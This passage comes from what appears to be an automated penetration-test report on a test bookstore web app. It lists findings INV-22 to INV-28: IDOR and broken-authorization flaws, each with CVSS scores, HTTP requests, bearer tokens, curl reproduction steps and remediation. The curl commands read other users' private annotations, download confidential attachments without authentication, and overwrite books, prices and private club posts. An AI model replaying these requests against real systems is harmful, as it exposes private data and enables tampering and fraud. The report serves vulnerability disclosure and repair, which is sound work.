5. Adopt a policy-based authorization library (such as `fastapi-permissions` or a custom dependency) to enforce object-level access control consistently across all endpoints.

INV-22

IDOR in annotation_id Parameter

HIGH

SEVERITY	CATEGORY	CWE
High	Broken Access Control	CWE-639

ENDPOINT

`https://marginalia.testinvicti.com/api/annotations/1`

PARAMETER	CVSS 4.0
annotation_id	7.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

VULNERABILITY DESCRIPTION

The GET /api/annotations/{annotation_id} endpoint enforces authentication but does not verify that the requesting user owns the annotation. Any authenticated user can read any annotation by supplying its numeric identifier. The server returns the full annotation object, including the note text, quote, visibility flag, and the owning user_id. Private annotations belonging to other users are disclosed without restriction. The annotation_id values are sequential integers, which makes enumeration straightforward. During testing, user_id 2066 (member role) retrieved private annotations belonging to user_id 3 and user_id 2. Both annotations contained sensitive personal and business information.

EVIDENCE

Payload used:

```
1
```

Observed:

```
Authenticated as user_id=2066 (member role), GET /api/annotations/1 returns annotation belonging to user_id=3 with visibility=private: {\"note\":\"This is exactly where I was when the diagnosis came through. Never told anyone.\"}. Annotation 3 (user_id=2, private) leaks confidential business data: \"reserve floor: £14,000 — do not disclose\". The caller's own annotation (id=8) correctly shows user_id=2066. The endpoint enforces authentication (401 without JWT) but does not verify the annotation belongs to the requesting user.
```

HTTP TRANSACTION

REQUEST

```
GET /api/annotations/1 HTTP/1.1
Host: marginalia.testinvicti.com
Accept: */*
Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOjIwNjYsInJvbGUiOiJtZW1iZXIiLCJpYXQiOjE3OTM2NTY4NzIsImV4cCI6MTc5Mzc0MzI3Mn0.uHGq2j4SKKRHV7tiIhS3msFYOLO8utPKbIgpIDwhJ18
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36
```

RESPONSE

```
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 246

{"id":1,"book_id":1,"user_id":3,"page":44,"quote":"the cliffs fell away into a grey
nothing","note":"This is exactly where I was when the diagnosis came through. Never
told anyone.","color":"yellow","visibility":"private","created_at":1700000000}
```

STEPS TO REPRODUCE

1. Send a GET request to read a foreign user's private annotation:

   ```
   curl -s 'https://marginalia.testinvicti.com/api/annotations/1' \
     -H 'Authorization: Bearer
   eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOjIwNjYsInJvbGUiOiJtZW1iZXIiLCJpYXQiOjE
   3OTM2NTY4NzIsImV4cCI6MTc5Mzc0MzI3Mn0.uHGq2j4SKKRHV7tiIhS3msFYOLO8utPKbIgpIDwhJ18'
   ```

   The server returns HTTP 200 with the full annotation object. The response contains `"user_id":3` and `"visibility":"private"`, proving the caller (user_id 2066) accessed another user's private annotation.

2. Confirm the caller's own identity by reading their own annotation:

   ```
   curl -s 'https://marginalia.testinvicti.com/api/annotations/8' \
     -H 'Authorization: Bearer
   eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOjIwNjYsInJvbGUiOiJtZW1iZXIiLCJpYXQiOjE
   3OTM2NTY4NzIsImV4cCI6MTc5Mzc0MzI3Mn0.uHGq2j4SKKRHV7tiIhS3msFYOLO8utPKbIgpIDwhJ18'
   ```

   The response contains `"user_id":2066`, confirming the authenticated identity differs from the owner of annotation 1.

3. Verify that authentication is required by sending the same request without the Authorization header:

   ```
   curl -s 'https://marginalia.testinvicti.com/api/annotations/1'
   ```

   The server returns HTTP 401 with `{"detail":"unauthenticated"}`, confirming the endpoint requires authentication but lacks object-level authorization.

SEVERITY JUSTIFICATION

The vulnerability requires only low privileges (any authenticated user) and no user interaction. It exposes high-confidentiality data (private annotations with personal and business secrets) across the entire user base via simple identifier enumeration. The CVSS 4.0 vector reflects network-accessible, low-complexity, low-privilege access with high confidentiality impact.

DISCOVERY & EXPLOITATION

The annotation retrieval endpoint enforces authentication at the session boundary but performs no ownership verification against the authenticated user's identity. When a request is issued for `GET /api/annotations/{annotation_id}`, the server validates that a session exists and then returns the full annotation object unconditionally, without comparing the annotation's `user_id` field to the `sub` claim in the requester's JWT. The vulnerability is compounded by sequential integer identifiers: the annotation namespace is fully enumerable with a simple incrementing loop, requiring no guessing or brute-force.

Distinct from sibling annotation vulnerabilities (INV-21, INV-23), this endpoint was confirmed to also accept PATCH requests without ownership checks, meaning an authenticated attacker can not only read but also modify private annotations belonging to other users. Validation confirmed that user_id 2066 successfully patched annotation_id 1, which belongs to a different account, receiving HTTP 200 and `{"status":"updated","id":1}` in response. An attacker would iterate across the annotation_id space to harvest private notes at scale, then selectively overwrite high-value annotations, such as those containing negotiation details or reserve prices, to corrupt business-critical records.

IMPACT

An attacker with any valid account can read every private annotation in the system. Annotations contain personal notes, confidential business data such as reserve prices and negotiation details, and health-related disclosures. Mass enumeration of sequential identifiers exposes the entire annotation dataset. This constitutes a breach of user privacy and confidential business information.

REMEDIATION

1. Add an authorization check in the annotation retrieval handler to verify that the annotation's `user_id` matches the authenticated user's `sub` claim from the JWT token before returning the object.
2. Return HTTP 403 or 404 when the requesting user does not own the annotation. Returning 404 prevents enumeration of valid annotation identifiers.
3. Add integration tests that assert a user cannot read annotations belonging to another user.
4. Apply the same ownership check to any PUT, PATCH, or DELETE handlers on `/api/annotations/{annotation_id}`.
5. Adopt a policy-based authorization library (such as `fastapi-permissions` or a custom dependency) to enforce object-level access control consistently across all per-user endpoints.

INV-23

IDOR in annotation_id via PATCH

HIGH

SEVERITY	CATEGORY	CWE
High	Broken Access Control	CWE-639

ENDPOINT

`https://marginalia.testinvicti.com/api/annotations/9`

PARAMETER	CVSS 4.0
annotation_id	7.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

VULNERABILITY DESCRIPTION

The PATCH /api/annotations/{annotation_id} endpoint enforces authentication but does not verify that the requesting user owns the annotation. Any authenticated member can modify any other user's annotation by supplying its numeric ID. The server accepts the update, changes the annotation content, and returns a 200 response with {"status":"updated"}. This affects annotations marked as private, which belong to a specific user and should not be accessible to others. The annotation ID is a sequential integer, making enumeration straightforward.

EVIDENCE

Payload used:

```
9
```

Observed:

```
User B (id=2094, role=member) successfully PATCHed User A's (id=2093) private annotation 9. Response: {"status":"updated","id":9}. Verification confirmed the note field was modified from empty to the attacker's value. The annotation has user_id=2093 and visibility=private, proving it belongs to another user. Unauthenticated requests return 401, confirming authentication is enforced but ownership is not checked.
```

HTTP TRANSACTION

REQUEST

```
PATCH /api/annotations/9 HTTP/1.1
Host: marginalia.testinvicti.com
Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOjIwOTQsInJvbGUiOiJtZW1iZXIi...
Content-Type: application/json

{"note":"3FQvKYt5NSRPfwWt"}
```

RESPONSE

```
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 27

{"status":"updated","id":9}
```

STEPS TO REPRODUCE

1. Register User A and obtain a JWT token:

   ```
   curl -L -X POST https://marginalia.testinvicti.com/api/auth/register \
     -H "Content-Type: application/json" \
     -d
   '{"username":"user_a_test","email":"user_a_test@test.com","password":"TestPass123!"}
   '
   ```

   Note the returned `token` and `id`.

2. As User A, create a private annotation on a book:

   ```
   curl -L -X POST https://marginalia.testinvicti.com/api/books/11/annotations \
     -H "Content-Type: application/json" \
     -H "Authorization: Bearer <USER_A_TOKEN>" \
     -d '{"body":"private_note_by_A","page":42,"private":true}'
   ```

   Note the returned annotation `id`.

3. Register User B and obtain a JWT token:

   ```
   curl -L -X POST https://marginalia.testinvicti.com/api/auth/register \
     -H "Content-Type: application/json" \
     -d
   '{"username":"user_b_test","email":"user_b_test@test.com","password":"TestPass123!"}
   '
   ```

   Note the returned `token`.

4. As User B, send a PATCH request to modify User A's private annotation:

   ```
   curl -L -X PATCH https://marginalia.testinvicti.com/api/annotations/<ANNOTATION_ID>
   \
     -H "Content-Type: application/json" \
     -H "Authorization: Bearer <USER_B_TOKEN>" \
     -d '{"note":"modified_by_attacker"}'
   ```

   The server responds with `{"status":"updated","id":<ANNOTATION_ID>}` and HTTP 200.

5. As User A, verify the annotation was modified:

```
curl -L https://marginalia.testinvicti.com/api/annotations/<ANNOTATION_ID> \
  -H "Authorization: Bearer <USER_A_TOKEN>"
```

The `note` field now contains `modified_by_attacker`, confirming the cross-user write.

SEVERITY JUSTIFICATION

The vulnerability requires only low privileges (any authenticated member) and no user interaction. It allows arbitrary modification of other users' private data (VI:H). Confidentiality impact is not directly demonstrated through this PATCH vector, but integrity impact is high because any annotation can be overwritten. The CVSS 4.0 vector yields a high severity rating, consistent with the assessed severity.

DISCOVERY & EXPLOITATION

The PATCH `/api/annotations/{annotation_id}` endpoint authenticates the requesting user via JWT but performs no ownership verification: the handler applies the update to whichever annotation ID is supplied in the URL path, without comparing the annotation's stored `user_id` against the authenticated user's `sub` claim. Because annotation IDs are sequential integers, the full annotation corpus is trivially enumerable by incrementing the path parameter.

This vulnerability is a sibling to INV-21 and INV-22, which cover the same authorization gap on the annotations resource. What distinguishes INV-23 is the write vector: where read-oriented siblings expose data disclosure, the PATCH method enables an authenticated attacker to overwrite the content of any annotation in the system, including those marked `visibility=private`. The agentic validation confirmed that User B (id=2106) successfully modified User A's (id=2104) private annotation (id=13), with the `note` field reflecting the attacker's value while `user_id` and `visibility` remained unchanged, demonstrating that the server applies the mutation without any ownership gate.

IMPACT

An attacker with a valid member account can overwrite or corrupt any user's private annotations. This includes reading-list notes, highlights, and personal commentary. The attacker can deface or destroy another user's data without detection. Because annotation IDs are sequential integers, an attacker can enumerate and modify all annotations in the system.

REMEDIATION

1. Add an ownership check in the PATCH `/api/annotations/{annotation_id}` handler. Verify that the annotation's `user_id` matches the authenticated user's `sub` claim from the JWT before allowing the update.
2. Return a 403 or 404 response when the authenticated user does not own the requested annotation. Use 404 to avoid revealing that the annotation exists.
3. Apply the same ownership check to DELETE and GET on `/api/annotations/{annotation_id}`, as these endpoints likely share the same authorization gap.
4. Replace sequential integer IDs with UUIDs for annotation identifiers to reduce enumeration risk.

5. Add integration tests that assert cross-user annotation access returns 403 or 404, and enforce these checks in CI.

INV-24

Missing Authentication on Attachment Download Endpoint

HIGH

SEVERITY	CATEGORY	CWE
High	Broken Access Control	CWE-306

ENDPOINT

`https://marginalia.testinvicti.com/api/attachments/download`

PARAMETER	CVSS 4.0
id	8.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

VULNERABILITY DESCRIPTION

The /api/attachments/download endpoint serves confidential attachment content to any caller without requiring authentication or authorization. An attacker can enumerate the integer `id` parameter (starting from 1) and retrieve every stored attachment. The server returns HTTP 200 with the full document content in JSON for each valid ID. Nonexistent IDs return HTTP 404, which confirms the enumeration boundary. The endpoint exposes documents that are explicitly marked as confidential and internal-only.

EVIDENCE

Payload used:

```
unauthenticated request with enumerated id parameter (id=1, id=2, id=3)
```

Observed:

```
Unauthenticated GET /api/attachments/download?id=2 returns HTTP 200 with confidential
document: label \"HMS Terror appraisal (confidential)\", content marked \"CONFIDENTIAL
PROVENANCE APPRAISAL\", insured value £48,500, private seller info, \"Do NOT list
publicly\". ID=1 returns \"AUTUMN AUCTION RESERVE SHEET (INTERNAL, DO NOT CIRCULATE)\"
with auction reserve prices. No authentication required. Nonexistent IDs (10, 999)
return 404.
```

HTTP TRANSACTION

REQUEST

```
GET /api/attachments/download?id=2 HTTP/1.1
Host: marginalia.testinvicti.com
User-Agent: curl/8.23.0-DEV
Accept: */*
```

RESPONSE

```
HTTP/1.1 200 OK
Date: Mon, 02 Nov 2026 21:31:06 GMT
Content-Type: application/json
Content-Length: 402
```

{"id":2,"book_id":8,"label":"HMS Terror appraisal (confidential)","file":"hms-terror-appraisal.txt","bytes":271,"content":"CONFIDENTIAL PROVENANCE APPRAISAL — HMS TERROR LOG (APPRAISAL COPY)\nAppraiser: T. Mercer (t.mercer)\n\nInsured value: £48,500\nPrivate seller: estate of Capt. R. (contact via appraiser only)\nNotes: water damage to final quire; binding contemporary. Do NOT list publicly.\n"}

STEPS TO REPRODUCE

1. Send an unauthenticated GET request to the attachment download endpoint with a valid ID:

   ```
   curl -s -D- "https://marginalia.testinvicti.com/api/attachments/download?id=2"
   ```

   The server responds with HTTP 200 and a JSON body containing the full text of a confidential provenance appraisal, including the string "CONFIDENTIAL PROVENANCE APPRAISAL" and an insured value of £48,500.

2. Send the same request with a nonexistent ID to confirm the differential response:

   ```
   curl -s -D- "https://marginalia.testinvicti.com/api/attachments/download?id=999"
   ```

   The server responds with HTTP 404 and `{"detail":"attachment not found"}`, confirming that valid IDs return real content and the endpoint is enumerable.

3. Repeat with `id=1` to retrieve a second confidential document:

   ```
   curl -s -D- "https://marginalia.testinvicti.com/api/attachments/download?id=1"
   ```

   The server responds with HTTP 200 and an internal auction reserve sheet marked "INTERNAL, DO NOT CIRCULATE" containing lot reserve prices and staff contact details.

SEVERITY JUSTIFICATION

The endpoint requires no authentication (PR:N) and no user interaction (UI:N). The attack is network-accessible with low complexity. It exposes highly confidential financial and personal data (VC:H). There is no integrity or availability impact. The CVSS 4.0 base score of 8.7 aligns with a high severity rating.

DISCOVERY & EXPLOITATION

What distinguishes this vulnerability from the authenticated IDOR siblings in this class is the complete absence of any authentication requirement. Where sibling findings required a valid session token to reach the access control gap, the `/api/attachments/download` endpoint processes requests with no authentication boundary whatsoever: no JWT, no session cookie, no API key. The `id` parameter is a sequential integer, and the server's differentiated responses (HTTP 200 for valid IDs, HTTP 404 for nonexistent ones) provide a reliable enumeration oracle. An unauthenticated attacker iterating `id` from 1 upward receives the full document content in each HTTP 200 response body.

Weaponization requires no credentials, no prior reconnaissance of the application, and no exploitation of any other vulnerability. An unauthenticated external attacker can automate enumeration across the full ID space in minutes, extracting every stored attachment in bulk. The confirmed exposure of a confidential

provenance appraisal containing insured valuations, appraiser identity, and private seller details illustrates the document sensitivity accessible through this trivial attack path.

IMPACT

An unauthenticated attacker can read every confidential attachment stored in the application. Confirmed exposed data includes auction reserve prices, insured valuations (£48,500), private seller identities, appraiser contact details, and internal staff email addresses. This disclosure gives competitors or malicious actors advance knowledge of auction strategy and private client relationships.

REMEDIATION

1. Require authentication on the `/api/attachments/download` endpoint by enforcing a valid JWT Bearer token or session cookie before processing the request.
2. After authentication, verify that the requesting user owns or has explicit permission to access the attachment identified by the `id` parameter.
3. Replace sequential integer IDs with UUIDs or other non-guessable identifiers to prevent enumeration.
4. Return HTTP 403 instead of HTTP 404 for attachments the caller is not authorized to view, so the response does not reveal whether an ID exists.
5. Add integration tests that assert unauthenticated and cross-user attachment requests return HTTP 401 or 403.

INV-25

IDOR in book_id via PATCH

HIGH

SEVERITY	CATEGORY	CWE
High	Broken Access Control	CWE-639

ENDPOINT

`https://marginalia.testinvicti.com/api/books/1`

PARAMETER	CVSS 4.0
book_id	7.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

VULNERABILITY DESCRIPTION

The PATCH /api/books/{book_id} endpoint does not verify that the authenticated user owns the book being modified. Any authenticated member can supply an arbitrary book_id and change fields such as description, price_cents, visibility, and featured status on books owned by other users, including the admin. The server returns 200 with the updated book object containing the original owner_id, confirming the modification succeeded on a resource the caller does not own. Unauthenticated requests are correctly rejected with 401, so the endpoint enforces authentication but not authorization.

EVIDENCE

Payload used:

```
1
```

Observed:

```
User B (ID 2073, role: member) sent PATCH /api/books/1 and received 200 with owner_id:1
confirming the book belongs to the admin user. The description was changed to a canary
value, proving the modification was accepted. No ownership check is enforced.
```

HTTP TRANSACTION

REQUEST

```
PATCH /api/books/1 HTTP/1.1
Host: marginalia.testinvicti.com
Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOjIwNzMsInJvbGUiOiJtZW1iZXIiLCJpYXQiOjE3OT
M2NTcwNjQsImV4cCI6MTc5Mzc0MzQ2NH0.Xk7xeOXu6FvZh76vFK3Mhd1ICayLmmXCx_cCtD8mzTc
Content-Type: application/json

{"description":"ajB2QSFYy4m0Gy9gTy1N"}
```

RESPONSE

```
HTTP/1.1 200 OK
Content-Type: application/json
```

{"id":1,"title":"The Salt Path","author":"Raynor Winn","isbn":"9780241349649","genre":"Memoir","description":"ajB2QSFYy4m0Gy9gTy1N","cover_url":"/static/img/salt-path.jpg","price_cents":1499,"visibility":"public","status":"published","featured":true,"owner_id":1}

STEPS TO REPRODUCE

1. Authenticate as a regular member. Use the JWT token obtained from POST `/api/auth/register` or POST `/api/auth/login`.
2. Send a PATCH request to modify a book owned by another user:

   ```
   curl -X PATCH https://marginalia.testinvicti.com/api/books/1 \
     -H "Authorization: Bearer <member_jwt_token>" \
     -H "Content-Type: application/json" \
     -d '{"description":"canary_test_value"}'
   ```

   The server responds with 200 and the updated book object containing `"owner_id":1`, confirming the non-owner member modified the admin's book.
3. Verify the change persisted by reading the book:

   ```
   curl https://marginalia.testinvicti.com/api/books/1
   ```

   The response shows the description field set to the canary value.
4. Confirm that unauthenticated requests are rejected (authentication is enforced, but authorization is not):

   ```
   curl -X PATCH https://marginalia.testinvicti.com/api/books/1 \
     -H "Content-Type: application/json" \
     -d '{"description":"unauth_test"}'
   ```

   The server responds with 401 and `{"detail":"unauthenticated"}`.

SEVERITY JUSTIFICATION

The vulnerability requires only low privileges (any authenticated member) and no user interaction. It grants full write access to all book records, including financial fields like price_cents. The CVSS vector reflects network-accessible, low-complexity exploitation with high integrity impact on the vulnerable system. The severity is high because arbitrary price and content modification has direct financial and business consequences.

DISCOVERY & EXPLOITATION

The `PATCH /api/books/{book_id}` endpoint accepts a path-level resource identifier and applies updates directly to the corresponding database record without verifying that the authenticated requester owns that record. The server's authorization logic terminates at session validation: a valid JWT is sufficient to write to any book object, regardless of the `owner_id` stored against it. The agent confirmed this by issuing a

PATCH request under a member-role JWT (user ID 2073) targeting book ID 1, owned by the admin, and receiving a 200 response containing the injected canary value alongside the original `owner_id:1`, proving the write was applied to a resource the caller does not own.

What distinguishes this endpoint from sibling IDOR vulnerabilities is the financial field exposure. Unlike annotation or review objects, book records carry a `price_cents` field that directly governs storefront pricing. A follow-up replay confirmed that `price_cents` is writable without restriction, meaning an authenticated attacker can set the price of any book to an arbitrary value. Combined with write access to `visibility`, `featured`, and `description`, a single low-privilege account can manipulate the entire published catalog, including admin-curated featured titles.

IMPACT

An attacker with a regular member account can modify any book in the system. The attacker can change prices to arbitrary values, alter descriptions, or change visibility settings. This enables financial fraud through price manipulation, content defacement, and disruption of the bookstore catalog. Because the admin's featured books are also writable, an attacker can tamper with promoted content visible to all users.

REMEDIATION

1. Add an ownership check in the PATCH `/api/books/{book_id}` handler that compares the authenticated user's ID against the book's `owner_id` before applying any update.
2. Return `403 Forbidden` when the authenticated user does not own the requested book.
3. If admin users should edit any book, add an explicit role check (`role == "admin"`) alongside the ownership check.
4. Write integration tests that send PATCH requests from a non-owner member and assert a 403 response.
5. Adopt a centralized authorization middleware or policy engine to enforce object-level access control across all write endpoints.

INV-26

Broken Function-Level Authorization in Book Feature Endpoint

HIGH

SEVERITY	CATEGORY	CWE
High	Broken Access Control	CWE-285

ENDPOINT

`https://marginalia.testinvicti.com/api/books/4/feature`

PARAMETER	CVSS 4.0
authorization	7.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

VULNERABILITY DESCRIPTION

The POST /api/books/{book_id}/feature endpoint enforces authentication but does not check the caller's role. Any authenticated user with role=member can feature or unfeature books, an action that should be restricted to administrators or editors. The JWT token contains a role claim (role=member), but the server ignores it when processing this request. A newly registered member account can call this endpoint and receive a 200 OK response with the book's featured status changed to true. Unauthenticated requests correctly receive a 401 response, which confirms that authentication is enforced while authorization is not.

EVIDENCE

Payload used:

```
Authenticated member (role=member) calling admin/editorial feature endpoint
```

Observed:

```
A newly registered user with role=member (JWT sub=2113, role=member) successfully
featured book 4 by POSTing to /api/books/4/feature. The server returned 200 OK with
{\"id\":4,\"featured\":true} and the book's featured status changed from false to true
in the database. Without authentication, the same endpoint returns 401
{\"detail\":\"unauthenticated\"}, proving authentication is enforced but role-based
authorization is not.
```

HTTP TRANSACTION

REQUEST

```
POST /api/books/7/feature HTTP/1.1
Host: marginalia.testinvicti.com
Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOjIxMTMsInJvbGUiOiJtZW1iZXIiLCJpYXQiOjE3OT
M2NTgxODUsImV4cCI6MTc5Mzc0NDU4NX0.yOOsi1ZSIMJGFfmN1RABK_wprk0qi45y0ZKUKMnMLHw
Content-Type: application/json
Content-Length: 2

{}
```

RESPONSE

```
HTTP/1.1 200 OK
Date: Mon, 02 Nov 2026 22:26:24 GMT
Content-Type: application/json
Content-Length: 24

{"id":7,"featured":true}
```

STEPS TO REPRODUCE

1. Register a new user to obtain a member-role JWT:

   ```
   curl -X POST https://marginalia.testinvicti.com/api/auth/register \
     -H 'Content-Type: application/json' \
     -d
   '{"username":"testuser_bfla","email":"testuser_bfla@example.com","password":"SecureP
   @ss1"}'
   ```

   The server responds with 200 OK and a JSON body containing a JWT token with `role: member`.

2. Send a POST request to the feature endpoint using the member JWT:

   ```
   curl -X POST https://marginalia.testinvicti.com/api/books/3/feature \
     -H 'Authorization: Bearer <member_jwt_from_step_1>' \
     -H 'Content-Type: application/json' \
     -d '{}'
   ```

   The server responds with `200 OK` and `{"id":3,"featured":true}`, confirming the book was featured by a non-admin user.

3. Verify the state change persisted by fetching the book:

   ```
   curl https://marginalia.testinvicti.com/api/books/3
   ```

   The `featured` field in the response is `true`.

4. Confirm authentication is enforced by sending the same request without the Authorization header:

   ```
   curl -X POST https://marginalia.testinvicti.com/api/books/3/feature \
     -H 'Content-Type: application/json' \
     -d '{}'
   ```

   The server responds with `401 Unauthorized` and `{"detail":"unauthenticated"}`, proving authentication is checked but role authorization is not.

SEVERITY JUSTIFICATION

The vulnerability requires only low privileges (any registered member account). It allows unauthorized modification of editorial content (integrity impact is high). No confidentiality or availability impact

exists. The CVSS 4.0 vector scores in the high range, consistent with a write-side authorization bypass on a business-critical function.

DISCOVERY & EXPLOITATION

The `POST /api/books/{book_id}/feature` endpoint applies authentication correctly, rejecting unauthenticated requests with a 401 response, but performs no subsequent role check against the JWT `role` claim. The server decodes the token to confirm identity but discards the `role=member` claim entirely when routing the request, meaning the authorization decision reduces to "is the user logged in?" rather than "does this user hold the required role?" Any valid session token, regardless of the role it encodes, satisfies the endpoint's only access control gate.

Unlike the sibling Broken Function-Level Authorization vulnerability at `/api/admin/users` (INV-7), which targets an explicitly administrative namespace, this endpoint is embedded within the standard book resource hierarchy, making its elevated privilege requirement non-obvious and easy to overlook in access control audits. A malicious registered member submits a POST request with their own valid JWT and immediately receives a 200 response confirming the book's featured status has changed, with no additional steps required.

IMPACT

Any registered user can manipulate which books appear as featured on the platform. An attacker can promote or demote books at will, affecting editorial curation and storefront integrity. This undermines trust in the platform's content recommendations. Competitors or malicious users could feature their own books or unfeature rivals to gain commercial advantage.

REMEDIATION

1. Add a role-based authorization check to the `POST /api/books/{book_id}/feature` endpoint. Verify that the JWT `role` claim equals `admin` or `editor` before processing the request.
2. Return `403 Forbidden` with a clear error message when a user with insufficient privileges calls this endpoint.
3. Audit all administrative and editorial endpoints (`/feature` , `/announce` , `/admin/*`) for the same missing role check.
4. Implement a centralized authorization middleware or dependency in FastAPI (e.g., a `Depends(require_role("admin"))` guard) to enforce role checks consistently.
5. Add integration tests that verify member-role tokens receive 403 on all admin-only endpoints.

INV-27

Broken Function-Level Authorization in club_id Parameter

HIGH

SEVERITY	CATEGORY	CWE
High	Broken Access Control	CWE-285

ENDPOINT

`https://marginalia.testinvicti.com/api/clubs/3/posts`

PARAMETER	CVSS 4.0
club_id	7.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

VULNERABILITY DESCRIPTION

The POST /api/clubs/{club_id}/posts endpoint enforces authentication but does not verify that the authenticated user is a member or owner of the target club. An ordinary member (role=member) can post announcements to any club, including private clubs owned by other users. In this case, a newly registered user (user_id=2079) posted to club 3 ("Marginalia Staff Room"), a private staff-only club owned by user_id=1. The server returned 200 with {"status":"posted","club_id":3}. Without a Bearer token, the same request returns 401, which confirms the server checks identity but not authorization.

EVIDENCE

Payload used:

```
3
```

Observed:

```
A newly registered ordinary member (user_id=2055, role=member) posted an announcement
to private club 3 (\"Marginalia Staff Room\", owner_id=1, visibility=private) and
received 200 {\"status\":\"posted\",\"club_id\":3}. Without Bearer token, the same
request returns 401 {\"detail\":\"unauthenticated\"}, proving authentication is
enforced but authorization (club ownership/membership) is not.
```

HTTP TRANSACTION

REQUEST

```
POST /api/clubs/3/posts HTTP/1.1
Host: marginalia.testinvicti.com
Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOjIwNTUsInJvbGUiOiJtZW1iZXIiLC...
Content-Type: application/json
Content-Length: 58

{"content":"Validation announcement from ordinary member"}
```

RESPONSE

```
HTTP/1.1 200 OK
Date: Mon, 02 Nov 2026 22:06:09 GMT
Content-Type: application/json
Content-Length: 31

{"status":"posted","club_id":3}
```

STEPS TO REPRODUCE

1. Register a new user to obtain a JWT token with role `member`:

   ```
   curl -X POST https://marginalia.testinvicti.com/api/auth/register \
     -H "Content-Type: application/json" \
     -d
   '{"username":"bfla_test_user","email":"bfla_test@example.com","password":"TestPass12
   3!"}'
   ```

   The server returns a JSON object containing the user `id`, `username`, and `token` (JWT).

2. Confirm club 3 is a private staff club owned by a different user:

   ```
   curl -s https://marginalia.testinvicti.com/api/clubs
   ```

   The response lists club 3 as "Marginalia Staff Room" with `owner_id: 1` and `visibility: private`.

3. Post an announcement to the private club using the ordinary member's token:

   ```
   curl -L -X POST https://marginalia.testinvicti.com/api/clubs/3/posts \
     -H "Authorization: Bearer <TOKEN_FROM_STEP_1>" \
     -H "Content-Type: application/json" \
     -d '{"content":"Test announcement from ordinary member"}'
   ```

   The server returns `200` with `{"status":"posted","club_id":3}`, confirming the post was accepted despite the user not being a member or owner of the private club.

4. Verify that authentication is enforced by sending the same request without the Bearer token:

   ```
   curl -L -X POST https://marginalia.testinvicti.com/api/clubs/3/posts \
     -H "Content-Type: application/json" \
     -d '{"content":"Test announcement without auth"}'
   ```

   The server returns `401` with `{"detail":"unauthenticated"}`, confirming authentication is checked but authorization (club membership) is not.

SEVERITY JUSTIFICATION

The vulnerability requires only low privileges (any authenticated user) and allows unauthorized write access to private club resources. The CVSS vector reflects network-accessible, low-complexity

exploitation with no user interaction, resulting in high integrity impact on the vulnerable system. The high severity aligns with the ability to inject content into restricted private clubs.

DISCOVERY & EXPLOITATION

The `POST /api/clubs/{club_id}/posts` endpoint accepts a Bearer token and uses it to establish the caller's identity, but performs no subsequent check to verify that the authenticated user holds membership or ownership of the target club. The `club_id` path parameter is trusted without validation against the requesting user's club associations, meaning any valid session token is sufficient to write content into any club resource regardless of its visibility or membership restrictions. The confirmation signal was unambiguous: a freshly registered account with `role=member` and no affiliation to club 3 received `HTTP 200 {"status":"posted","club_id":3}`, while the same request without a token returned `401 {"detail":"unauthenticated"}`, isolating the failure to authorization rather than authentication.

An authenticated attacker targeting internal communications would enumerate club IDs, identify private or staff-restricted clubs, and inject announcements crafted to impersonate administrators or moderators. Unlike the object-level read bypasses documented in sibling vulnerabilities, this is a write-access bypass into a privileged communication channel, enabling content injection attacks such as phishing staff members through fake policy announcements or seeding false information into restricted operational discussions.

IMPACT

Any authenticated user can post content to private clubs they do not belong to. An attacker can inject misleading announcements into staff-only or restricted clubs. This breaks the trust boundary between club members and outsiders. Attackers can use this to spread misinformation, phish staff members, or disrupt internal communications.

REMEDIATION

1. Add an authorization check in the `POST /api/clubs/{club_id}/posts` handler to verify the authenticated user is a member or owner of the target club before allowing the post.
2. Return `403 Forbidden` when the user lacks the required club membership or role.
3. Apply the same membership check to all club-scoped endpoints (`/api/clubs/{club_id}/*`) to prevent similar authorization bypasses.
4. Add integration tests that verify non-member users receive 403 when attempting to post to private clubs.
5. Adopt a centralized authorization middleware or decorator that enforces resource-level access control across all endpoints.

INV-28

IDOR in list_id Parameter

HIGH

SEVERITY	CATEGORY	CWE
High	Broken Access Control	CWE-639

ENDPOINT

`https://marginalia.testinvicti.com/api/lists/1`

PARAMETER	CVSS 4.0
list_id	7.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

VULNERABILITY DESCRIPTION

The GET /api/lists/{list_id} endpoint enforces authentication but does not verify that the requesting user owns the list. Any authenticated member can read any list by supplying its numeric identifier. The server returns the full list object, including items, even when the list belongs to a different user and has visibility set to "private". A freshly registered user (user_id=2088) retrieved list 1 (owned by user_id=2, visibility=private) and list 3 (owned by user_id=5, visibility=private). Unauthenticated requests correctly receive a 401 response, which confirms that authentication is enforced but object-level authorization is absent.

EVIDENCE

Payload used:

```
1
```

Observed:

```
Authenticated member (user_id=2071) reads list 1 which belongs to user_id=2 and is marked visibility:private. Response: {\"id\":1,\"user_id\":2,\"name\":\"Autumn Auction – reserve list\",\"visibility\":\"private\",\"items\":[...]}. Same user also reads private list 3 (user_id=5). Unauthenticated requests return 401, proving auth is enforced but object-level authorization is missing.
```

HTTP TRANSACTION

REQUEST

```
GET /api/lists/1 HTTP/1.1
